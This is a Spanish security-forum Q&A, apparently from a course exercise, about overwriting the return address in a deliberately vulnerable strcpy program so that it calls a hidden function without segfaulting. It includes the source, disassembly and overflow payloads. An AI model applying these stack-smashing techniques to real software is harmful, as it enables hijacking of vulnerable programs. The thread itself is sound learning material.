Explotar un desbordamiento de búfer sin SIGSEGV

3

Para mis estudios, trato de crear una carga útil para que se desborde el búfer y llame a una función "secreta" llamada "destino"

Este es el código que uso para probar en un i686

#include "stdio.h"
#include "string.h"
void target() {
  printf("target\n");
}
void vulnerable(char* input) {
  char buffer[16];
  strcpy(buffer, input);
}
int main(int argc, char** argv) {
  if(argc == 2)
    vulnerable(argv[1]);
  else
    printf("Need an argument!");

  return 0;
}

Tarea 1 : crea una carga útil para que se llame a target (). Esto fue bastante fácil de hacer al reemplazar el EIP con la dirección de la función de destino.

Así es como se ve el búfer

Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca

La carga útil que utilicé fue:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'

Esto funciona bien pero se detiene con una falla de segmentación.

Tarea 2: Modificar la carga útil de manera que no genere un error de segmentación

Aquí es donde estoy atrapado. Obviamente, causa una falla de segmentación porque no llamamos a target con la instrucción de llamada y, por lo tanto, no hay una dirección de retorno válida.

Intenté agregar la dirección de retorno en la pila, pero eso no ayudó

run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'

Tal vez alguien me pueda ayudar con esto. Probablemente también tengo que agregar el EBP guardado de main?

Adjunto el objeto del programa

0804847d <target>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 70 85 04 08    movl   $0x8048570,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <puts@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

08048491 <vulnerable>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 28                sub    $0x28,%esp
 8048497:   8b 45 08                mov    0x8(%ebp),%eax
 804849a:   89 44 24 04             mov    %eax,0x4(%esp)
 804849e:   8d 45 e8                lea    -0x18(%ebp),%eax
 80484a1:   89 04 24                mov    %eax,(%esp)
 80484a4:   e8 97 fe ff ff          call   8048340 <strcpy@plt>
 80484a9:   c9                      leave  
 80484aa:   c3                      ret    

080484ab <main>:
 80484ab:   55                      push   %ebp
 80484ac:   89 e5                   mov    %esp,%ebp
 80484ae:   83 e4 f0                and    $0xfffffff0,%esp
 80484b1:   83 ec 10                sub    $0x10,%esp
 80484b4:   83 7d 08 02             cmpl   $0x2,0x8(%ebp)
 80484b8:   75 12                   jne    80484cc <main+0x21>
 80484ba:   8b 45 0c                mov    0xc(%ebp),%eax
 80484bd:   83 c0 04                add    $0x4,%eax
 80484c0:   8b 00                   mov    (%eax),%eax
 80484c2:   89 04 24                mov    %eax,(%esp)
 80484c5:   e8 c7 ff ff ff          call   8048491 <vulnerable>
 80484ca:   eb 0c                   jmp    80484d8 <main+0x2d>
 80484cc:   c7 04 24 77 85 04 08    movl   $0x8048577,(%esp)
 80484d3:   e8 58 fe ff ff          call   8048330 <printf@plt>
 80484d8:   b8 00 00 00 00          mov    $0x0,%eax
 80484dd:   c9                      leave  
 80484de:   c3                      ret    
 80484df:   90                      nop
    
pregunta Chris 01.04.2016 - 15:09
fuente

2 respuestas

3

Volver a la ejecución normal desde shellcode es difícil.

Tienes toda la razón. Su función probablemente no tiene una dirección de retorno válida. No estoy completamente seguro de que este sea su problema, pero su intento de poner la dirección de retorno en la pila es incorrecto. Desearía que la dirección de retorno de la función Destino esté arriba de usted en la pila, no debajo de ella. Tal como está ahora, tu pila se parece a esto:

High Memory
7d840408
ca840408
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Puedes intentar algo como esto:

High Memory
ca840408
7d840408
41414141
41414141
41414141
41414141
41414141
41414141
41414141
Low Memory

Tenga en cuenta que agregué otro 4 A 's para reemplazar 0x080484CA , y moví esa dirección sobre la dirección de la función Target . Ahora, cuando la pila se desenrolla, tendrá una función válida para saltar. Suponiendo que la escritura adicional de 4 bytes no haya destruido algo útil de Main . Pero creo que en este caso solo estarás sobrescribiendo el parámetro colocado en la pila.

Esto no resuelve completamente tu problema. Su desbordamiento ahora ha eliminado cualquier puntero de marco de pila que estaba allí, pila de canario y cualquier variable local que se haya configurado. Su ejecución puede volver a la función original, pero sin el estado correcto, la función todavía podría segfault. Debido a que su función principal es bastante simple, podría estar en claro. Estos son aspectos que deben ser considerados sin embargo.

Esta es la razón por la cual escribir shellcode puede ser complicado, y a menudo se escribe en ensamblador. Cuando tienes control completo sobre los registros y la pila, puedes manipularlo para que al menos el programa no se bloquee. Pero tomará bastante trabajo y algo de inteligencia.

    
respondido por el RoraΖ 01.04.2016 - 15:38
fuente
0

Salir de llamada al final de su código de shell. El proceso terminará, pero no sigsegv. La continuación del proceso es un conjunto de problemas muy diferente.

    
respondido por el wireghoul 02.04.2016 - 02:13
fuente

Lea otras preguntas en las etiquetas